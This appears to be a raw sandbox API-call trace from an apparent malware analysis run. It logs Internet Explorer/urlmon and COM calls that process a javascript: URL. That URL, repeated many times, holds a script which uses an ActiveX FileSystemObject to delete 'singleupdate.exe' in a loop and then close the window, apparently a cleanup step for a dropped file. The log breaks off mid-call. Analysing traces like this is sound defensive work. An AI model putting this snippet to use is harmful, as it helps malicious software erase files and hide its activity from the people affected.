[0223.605] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd1b94, dwAction=0x2700, pPolicy=0xcff0c0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0xcff0a0 | out: pPolicy=0xcff0c0*=0x0, pdwOutFlags=0xcff0a0*=0x0) returned 0x0 [0223.605] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwAction=0x2700, pPolicy=0xcff0c0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0xcff0c0*=0x0) returned 0x0 [0223.605] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.605] IUnknown:Release (This=0xfd1b94) returned 0x7 [0223.605] IUnknown:Release (This=0xfd1b94) returned 0x6 [0223.605] IUnknown:AddRef (This=0xfd1b94) returned 0x7 [0223.605] IUri:GetPropertyDWORD (in: This=0xfd1b94, uriProp=0x11, pdwProperty=0xcfeeb4, dwFlags=0x0 | out: pdwProperty=0xcfeeb4*=0xf) returned 0x0 [0223.605] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.605] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0xcfee0c | out: ppvObject=0xcfee0c*=0x0) returned 0x80004002 [0223.606] IInternetSecurityManager:GetSecurityId (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pbSecurityId=0xcfef48, pcbSecurityId=0xcfef40*=0x200, dwReserved=0x0 | out: pbSecurityId=0xcfef48*=0x0, pcbSecurityId=0xcfef40*=0x200) returned 0x800c0011 [0223.606] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.606] IUnknown:Release (This=0xfd1b94) returned 0x6 [0223.606] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x96) returned 0xfcb6f8 [0223.606] memcpy_s (in: _Destination=0xfcb6f8, _DestinationSize=0x96, _Source=0xcfef48, _SourceSize=0x96 | out: _Destination=0xfcb6f8) returned 0x0 [0223.964] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe78d8 [0223.964] IUri:GetPropertyBSTR (in: This=0xfd1b94, uriProp=0x3, pbstrProperty=0xcff34c, dwFlags=0x2 | out: pbstrProperty=0xcff34c*="") returned 0x1 [0223.964] IUri:GetPropertyBSTR (in: This=0xfd1b94, uriProp=0x6, pbstrProperty=0xcff34c, dwFlags=0x2 | out: pbstrProperty=0xcff34c*="") returned 0x1 [0223.964] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0xcff334, dwReserved=0x0 | out: ppIInternetSession=0xcff334*=0xfd20f8) returned 0x0 [0223.965] IInternetSession:RegisterNameSpace (This=0xfd20f8, pCF=0x7376ba70, rclsid=0x7287d12c, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0223.965] IUnknown:AddRef (This=0x7376ba70) returned 0x1 [0223.965] IInternetSession:RegisterNameSpace (This=0xfd20f8, pCF=0x7376ba90, rclsid=0x7287d14c, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0223.965] IUnknown:AddRef (This=0x7376ba90) returned 0x1 [0223.965] IInternetSession:RegisterNameSpace (This=0xfd20f8, pCF=0x7376c164, rclsid=0x7287d13c, pwzProtocol="blob", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0223.965] IUnknown:AddRef (This=0x7376c164) returned 0x1 [0223.965] UrlCanonicalizeW (in: pszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pszCanonicalized=0xcfe334, pcchCanonicalized=0xcfe330, dwFlags=0x10000000 | out: pszCanonicalized="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchCanonicalized=0xcfe330) returned 0x0 [0223.965] StrCmpICW (pszStr1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0223.965] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0223.965] UrlCanonicalizeW (in: pszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pszCanonicalized=0xcfe334, pcchCanonicalized=0xcfe330, dwFlags=0x10000000 | out: pszCanonicalized="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchCanonicalized=0xcfe330) returned 0x0 [0223.965] StrCmpNIW (lpStr1="javascript:o=n", lpStr2="ms-appx-web://", nChar=14) returned -1 [0223.965] StrCmpNIW (lpStr1="javasc", lpStr2="res://", nChar=6) returned -1 [0223.965] LoadLibraryExW (lpLibFileName="urlmon.dll", hFile=0x0, dwFlags=0x0) returned 0x74100000 [0223.966] GetProcAddress (hModule=0x74100000, lpProcName=0x1d7) returned 0x741845d0 [0223.966] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff288 | out: ppvObject=0xcff288*=0xfd63dc) returned 0x0 [0223.966] IUnknown:Release (This=0xfd63dc) returned 0xa [0223.966] IUnknown:AddRef (This=0xfd63dc) returned 0xb [0223.966] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x90) returned 0x4d73cb0 [0223.966] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.966] VirtualAlloc (lpAddress=0x4c68000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c68000 [0223.966] IUnknown:AddRef (This=0xfd63dc) returned 0xc [0223.967] IUri:GetSchemeName (in: This=0xfd63dc, pbstrSchemeName=0xcff24c | out: pbstrSchemeName=0xcff24c*="javascript") returned 0x0 [0223.967] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff1d8 | out: ppvObject=0xcff1d8*=0xfd63dc) returned 0x0 [0223.967] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.967] IUnknown:AddRef (This=0xfd63dc) returned 0xd [0223.967] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.967] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff238 | out: ppvObject=0xcff238*=0xfd63dc) returned 0x0 [0223.967] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.967] IUnknown:AddRef (This=0xfd63dc) returned 0xd [0223.967] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.967] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xa4) returned 0x4d73d48 [0223.967] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.967] VirtualAlloc (lpAddress=0x4c6a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c6a000 [0223.968] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff304 | out: pdwScheme=0xcff304*=0xf) returned 0x0 [0223.968] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff2f0 | out: ppvObject=0xcff2f0*=0xfd63dc) returned 0x0 [0223.968] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.968] IUnknown:AddRef (This=0xfd63dc) returned 0xd [0223.968] IUnknown:Release (This=0xfd63dc) returned 0xc [0223.968] IUri:IsEqual (in: This=0xfd1b94, pUri=0xfd63dc, pfEqual=0xcff354 | out: pfEqual=0xcff354*=1) returned 0x0 [0223.968] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfe8128 [0223.969] LoadLibraryExW (lpLibFileName="WLDP.DLL", hFile=0x0, dwFlags=0x800) returned 0x72360000 [0224.008] GetProcAddress (hModule=0x72360000, lpProcName="WldpGetLockdownPolicy") returned 0x72363c20 [0224.008] WldpGetLockdownPolicy () returned 0x10000000 [0224.009] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xac) returned 0x4d73df8 [0224.009] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0224.009] VirtualAlloc (lpAddress=0x4c6c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c6c000 [0224.009] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0224.009] IUnknown:AddRef (This=0xfd20f8) returned 0x3 [0224.010] IUnknown:AddRef (This=0xfd63dc) returned 0xd [0224.010] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff27c | out: ppvObject=0xcff27c*=0xfd63dc) returned 0x0 [0224.010] IUnknown:Release (This=0xfd63dc) returned 0xd [0224.010] IUnknown:AddRef (This=0xfd63dc) returned 0xe [0224.010] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0xfe51d0 [0224.010] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcfef4c, dwReserved=0x0 | out: ppSM=0xcfef4c*=0xfd0730) returned 0x0 [0224.010] IUnknown:QueryInterface (in: This=0xfd0730, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xcfef50 | out: ppvObject=0xcfef50*=0xfd0730) returned 0x0 [0224.010] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfe7fe8 [0224.011] IInternetSecurityManager:SetSecuritySite (This=0xfd0730, pSite=0xfe7fec) returned 0x0 [0224.011] IUnknown:AddRef (This=0xfe7fec) returned 0x2 [0224.011] IUnknown:QueryInterface (in: This=0xfe7fec, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcfef24 | out: ppvObject=0xcfef24*=0xfe7fe8) returned 0x0 [0224.011] IServiceProvider:QueryService (in: This=0xfe7fe8, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0xfd0764 | out: ppvObject=0xfd0764*=0x0) returned 0x80004002 [0224.011] IServiceProvider:QueryService (in: This=0xfe7fe8, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xfd0760 | out: ppvObject=0xfd0760*=0xfe7ff0) returned 0x0 [0224.011] IUnknown:Release (This=0xfe7fe8) returned 0x3 [0224.011] IUnknown:AddRef (This=0xfd0730) returned 0x3 [0224.011] IUnknown:Release (This=0xfd0730) returned 0x2 [0224.011] IUnknown:Release (This=0xfd0730) returned 0x1 [0224.011] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcfef18 | out: ppu=0xcfef18) returned 0x0 [0224.011] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0xcfef9c | out: ppURI=0xcfef9c*=0xfd1b94) returned 0x0 [0224.011] IUnknown:AddRef (This=0xfd1b94) returned 0x8 [0224.011] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfef28 | out: ppvObject=0xcfef28*=0xfd1b94) returned 0x0 [0224.011] IUnknown:Release (This=0xfd1b94) returned 0x8 [0224.011] IUnknown:AddRef (This=0xfd1b94) returned 0x9 [0224.012] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfef40 | out: ppvObject=0xcfef40*=0xfd63dc) returned 0x0 [0224.012] IUnknown:Release (This=0xfd63dc) returned 0xe [0224.012] IUnknown:AddRef (This=0xfd63dc) returned 0xf [0224.012] QueryPerformanceCounter (in: lpPerformanceCount=0xcfeed8 | out: lpPerformanceCount=0xcfeed8*=22731453167) returned 1 [0224.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfeee0 | out: lpSystemTimeAsFileTime=0xcfeee0*(dwLowDateTime=0xa02da5cb, dwHighDateTime=0x1d4f110)) [0224.012] QueryPerformanceCounter (in: lpPerformanceCount=0xcfef38 | out: lpPerformanceCount=0xcfef38*=22731465438) returned 1 [0224.012] IUnknown:AddRef (This=0xfd63dc) returned 0x10 [0224.012] IUnknown:AddRef (This=0xfd63dc) returned 0x11 [0224.012] IUnknown:AddRef (This=0xfd63dc) returned 0x12 [0224.012] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfef24 | out: ppvObject=0xcfef24*=0xfd63dc) returned 0x0 [0224.012] IUnknown:Release (This=0xfd63dc) returned 0x12 [0224.012] IUnknown:AddRef (This=0xfd63dc) returned 0x13 [0224.013] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0x4c50d98 | out: pdwScheme=0x4c50d98*=0xf) returned 0x0 [0224.013] IMoniker:IsSystemMoniker (in: This=0xfbd710, pdwMksys=0xcfef70 | out: pdwMksys=0xcfef70*=0x6) returned 0x0 [0224.013] IUri:GetSchemeName (in: This=0xfd63dc, pbstrSchemeName=0xcfef14 | out: pbstrSchemeName=0xcfef14*="javascript") returned 0x0 [0224.013] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0224.013] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcfef54 | out: pdwScheme=0xcfef54*=0xf) returned 0x0 [0224.013] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfef00 | out: ppvObject=0xcfef00*=0xfd63dc) returned 0x0 [0224.013] IUnknown:Release (This=0xfd63dc) returned 0x13 [0224.013] IUnknown:AddRef (This=0xfd63dc) returned 0x14 [0224.013] CoInternetQueryInfo (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0xcfef50, cbBuffer=0x4, pcbBuffer=0xcfef48, dwReserved=0x0 | out: pvBuffer=0xcfef50*, pcbBuffer=0xcfef48*=0x4) returned 0x0 [0224.013] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfea08 | out: ppv=0xcfea08*=0x7376b5fc) returned 0x0 [0224.013] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfeef4 | out: ppvObject=0xcfeef4*=0x7376b608) returned 0x0 [0224.014] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.014] IInternetProtocolInfo:QueryInfo (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", OueryOption=13, dwQueryFlags=0x0, pBuffer=0xcfef50, cbBuffer=0x4, pcbBuf=0xcfef48*=0xcfef60, dwReserved=0x0 | out: pBuffer=0xcfef50, pcbBuf=0xcfef48*=0x4) returned 0x0 [0224.014] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0xcfce90, cchResult=0x1000, pcchResult=0xcfce8c, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchResult=0xcfce8c) returned 0x0 [0224.015] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfc96c | out: ppv=0xcfc96c*=0x7376b5fc) returned 0x0 [0224.015] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfce50 | out: ppvObject=0xcfce50*=0x7376b608) returned 0x0 [0224.015] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.015] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0xcfce90, cchResult=0x1000, pcchResult=0xcfce8c, dwReserved=0x0 | out: pwzResult="neNote", pcchResult=0xcfce8c*=0x4f0020) returned 0x800c0011 [0224.015] IUnknown:Release (This=0x7376b608) returned 0x1 [0224.015] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcfce64 | out: ppu=0xcfce64) returned 0x0 [0224.015] IUnknown:Release (This=0x7376b608) returned 0x1 [0224.015] IUnknown:Release (This=0xfd63dc) returned 0x13 [0224.015] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcfef54 | out: pdwScheme=0xcfef54*=0xf) returned 0x0 [0224.015] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfef40 | out: ppvObject=0xcfef40*=0xfd63dc) returned 0x0 [0224.015] IUnknown:Release (This=0xfd63dc) returned 0x13 [0224.015] IUnknown:AddRef (This=0xfd63dc) returned 0x14 [0224.015] GetCurrentThreadId () returned 0xe0 [0224.015] CreateBindCtx (in: reserved=0x0, ppbc=0xcfef94 | out: ppbc=0xcfef94*=0xfe6478) returned 0x0 [0224.016] IUnknown:AddRef (This=0xfe6478) returned 0x2 [0224.016] IUnknown:AddRef (This=0xfe6478) returned 0x3 [0224.016] IUnknown:Release (This=0xfe6478) returned 0x2 [0224.016] IUnknown:Release (This=0xfe6478) returned 0x1 [0224.016] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe77a0 [0224.017] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x9c) returned 0xfe8c20 [0224.017] IUnknown:AddRef (This=0xfd0730) returned 0x2 [0224.017] SHStrDupW (in: psz="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppwsz=0xfe8c98 | out: ppwsz=0xfe8c98*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0224.019] GetCurrentProcess () returned 0xffffffff [0224.019] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xcfeeb0 | out: TokenHandle=0xcfeeb0*=0x230) returned 1 [0224.019] LdrResolveDelayLoadedAPI () returned 0x75fc5560 [0224.020] ConvertSidToStringSidW () returned 0x1 [0224.020] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xe2) returned 0xfe8d30 [0224.020] _vsnwprintf (in: _Buffer=0xfe8d30, _BufferCount=0x70, _Format="%s%s", _ArgList=0xcfee88 | out: _Buffer="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 111 [0224.020] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Parental Controls\\Users\\S-1-5-21-1051304884-625712362-2192934891-1000", ulOptions=0x0, samDesired=0x101, phkResult=0xcfeea4 | out: phkResult=0xcfeea4*=0x0) returned 0x2 [0224.020] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe8d30 | out: hHeap=0xfb0000) returned 1 [0224.020] LocalFree (hMem=0xfe8cc8) returned 0x0 [0224.020] LocalFree (hMem=0xfe5310) returned 0x0 [0224.020] CloseHandle (hObject=0x230) returned 1 [0224.028] IUnknown:AddRef (This=0xfe6478) returned 0x2 [0224.029] RegisterBindStatusCallback (in: pBC=0xfe6478, pBSCb=0xfe8ca0, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0224.029] IUnknown:AddRef (This=0xfe8ca0) returned 0x3 [0224.029] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcfeed0 | out: ppvObject=0xcfeed0*=0xfe8c60) returned 0x0 [0224.029] IMoniker:RemoteBindToStorage (in: This=0xfbd710, pbc=0xfe6478, pmkToLeft=0x0, riid=0x728c2b84, ppvObj=0xcfef38 | out: ppvObj=0xcfef38*=0x0) returned 0x401e8 [0224.030] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe658 | out: ppv=0xcfe658*=0x7376b5fc) returned 0x0 [0224.030] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfeb24 | out: ppvObject=0xcfeb24*=0x7376b608) returned 0x0 [0224.030] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.030] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0xfe8cc8, cchResult=0x824, pcchResult=0xcfee3c, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfee3c*=0x0) returned 0x800c0011 [0224.030] IUnknown:Release (This=0x7376b608) returned 0x1 [0224.031] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x7410a078*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0xcfedd0 | out: ppvObject=0xcfedd0*=0xfe8ca0) returned 0x0 [0224.031] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0xfe8ca0, grfBINDF=0xfea090, pbindinfo=0xfea14c, pstgmed=0xfea094, grfBINDF2=0xfea098, pdwReserved=0x7414d760 | out: grfBINDF=0xfea090*=0x483, pbindinfo=0xfea14c, pstgmed=0xfea094, grfBINDF2=0xfea098*=0x0, pdwReserved=0x7414d760*=0x8b55ff8b) returned 0x0 [0224.031] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcfe900, dwReserved=0x0 | out: ppSM=0xcfe900*=0xfd04b0) returned 0x0 [0224.031] IUnknown:QueryInterface (in: This=0xfd04b0, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xcfe908 | out: ppvObject=0xcfe908*=0xfd04b0) returned 0x0 [0224.032] IUnknown:Release (This=0xfd04b0) returned 0x1 [0224.032] IUnknown:Release (This=0xfd04b0) returned 0x0 [0224.064] IUnknown:Release (This=0xfe8ca0) returned 0x4 [0224.064] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfedc4 | out: ppvObject=0xcfedc4*=0x0) returned 0x80004002 [0224.064] IServiceProvider:QueryService (in: This=0xfe8c60, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, 